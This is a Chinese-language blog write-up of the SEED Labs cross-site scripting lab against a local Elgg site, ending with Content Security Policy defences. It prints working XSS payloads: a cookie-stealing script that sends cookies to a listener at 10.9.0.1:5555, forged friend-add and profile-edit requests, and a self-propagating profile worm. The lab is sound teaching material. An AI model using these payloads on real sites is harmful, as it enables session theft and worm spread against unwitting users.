Ch3nyang's blog collections_bookmark

post

person

about

category

category

local_offer

tag

rss_feed

rss

SEEDLabs | (4)
XSS

calendar_month 2020-09
archive 实验
tag seedlab tag xss

本文为 SEED Labs 2.0 - Cross-Site Scripting Attack Lab 的实验记录。

实验原理

跨站脚本攻击是指恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。xss 漏洞通常是通过 php 的输出函数将 javascript 代码输出到 html 页面中,通过用户本地浏览器执行的,所以 xss 漏洞关键就是寻找参数未过滤的输出函数。

Task 1: Posting a Malicious Message to Display an Alert Window

这个 Task 用来熟悉 js 脚本。登录 Samy 账号,修改 profile 如图所示

<script>
    alert('XSS');
</script>

xss1

保存后,看到已经生效

xss2

Task 2: Posting a Malicious Message to Display Cookies

这个 Task 用来熟悉如何获取 Cookie。修改 Samy 的 profile 如图所示

<script>
    alert(document.cookie);
</script>

xss3

保存后,看到已经生效

xss4

Task 3: Stealing Cookies from the Victim’s Machine

这个 Task 用来熟悉如何发回数据。修改 Samy 的 profile 如图所示

<script>
    document.write('<img src=http://10.9.0.1:5555?c=' +
                   esxape(document.cookie) +
                   '>');
</script>

xss5

在端口上开启监听

nc -lknv 5555

登录 Alice 账号,点进 Samy 的 profile,看到返回了 cookie

xss6

Task 4: Becoming the Victim’s Friend

这个 Task 利用 js 实现 GET 方法。修改 Samy 的 profile 如图所示

<script type="text/javascript">
    window.onload = function () {
        var Ajax=null;
        
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        
        var sendurl="http://www.seed-server.com/action/friend/add?friend=59" +
            ts + token;
        
        Ajax=new XMLHttpRequest();
        Ajax.open("GET", sendurl, true);
        Ajax.send();
    }
</script>

xss7

登录 Alice 账号,点进 Samy 的 profile,看到已经添加了好友

xss8

Question 1: Explain the purpose of Lines 5 and 6, why are they are needed?

tstoken 用来验证用户身份,获取它们形成完整的 GET 请求,达到欺骗服务器的目的。

Question 2: If the Elgg application only provide the Editor mode for the “About Me” field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?

此时在 description 处无法实施攻击。但可以压行后填写在 briefdescription 处。

Task 5: Modifying the Victim’s Profile

这个 Task 利用 js 实现 POST 方法。修改 Samy 的 profile 如图所示

<script type="text/javascript">
    window.onload = function(){
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        
        var content=token + ts + userName +
            "&description=samy%20is%20my%20hero&accesslevel[description]=2" +
            guid;
        var samyGuid=59;
        var sendurl="http://www.seed-server.com/action/profile/edit";
        
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

xss9

登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了

xss10

Question 3: Why do we need Line 14? Remove this line, and repeat your attack. Report and explain your observation.

这行用来判断当前用户是不是攻击者自身,如果是,就不进行攻击。如果去掉这行代码,会导致攻击者保存自己的 profile 后,description 立即被改变,无法实施攻击。

Task 6: Writing a Self-Propagating XSS Worm

这个 Task 实现脚本自身的复制传播。

只要让代码调用自己网站的 js,再把刚刚的代码放入自己网站的 js 中即可。它和下面 DOM 原理一模一样,没啥区别。这里我找来找去没找到实验提供的站点来放 js,所以就先跳过。:(

DOM Approach

编辑 Samy 的 profile,使其可以把自己赋值到别人的 profile 中

<script id="worm">
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    window.onload = function(){
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        
        var content=token + ts + userName +
            "&description=" + wormCode + "&accesslevel[description]=2" + 
            "&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2" +
            guid;
        var samyGuid=59;
        var sendurl="http://www.seed-server.com/action/profile/edit";
        
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

xss11

登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了

xss12

登录 Charlie 账号,查看 Alice 的 profile,看到自己的 profile 已经被修改了

xss13

Task 7: Defeating XSS Attacks Using CSP

这个 Task 探究 CSP 防御 XSS 的作用。原始状态为

xss14

xss15

xss16

修改 apache_csp.conf

## Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
            default-src 'self'; \
            script-src 'self' *.example60.com \
            script-src 'self' *.example70.com \
        "
</VirtualHost>

xss17

看到 example32b.com 的 4、5、6 变成了 OK

xss18

修改 phpindex.php

<?php
    $cspheader = "Content-Security-Policy:".
                 "default-src 'self';".
                 "script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example60.com *.example70.com".
    header($cspheader);
?>
    
<?php include 'index.html';?>

xss19

看到 example32c.com 的 1、2、4、5、6 变成了 OK

xss20

Please explain why CSP can help prevent Cross-Site Scripting attacks.

显然的,CSP 就是白名单制度,明确告诉客户端,哪些外部资源可以加载和执行。

实验总结

实验原理简单,操作也很简单,注意不要输入错了就行(我因为一个大小写输错了卡了好久)。

Comments

Share This Post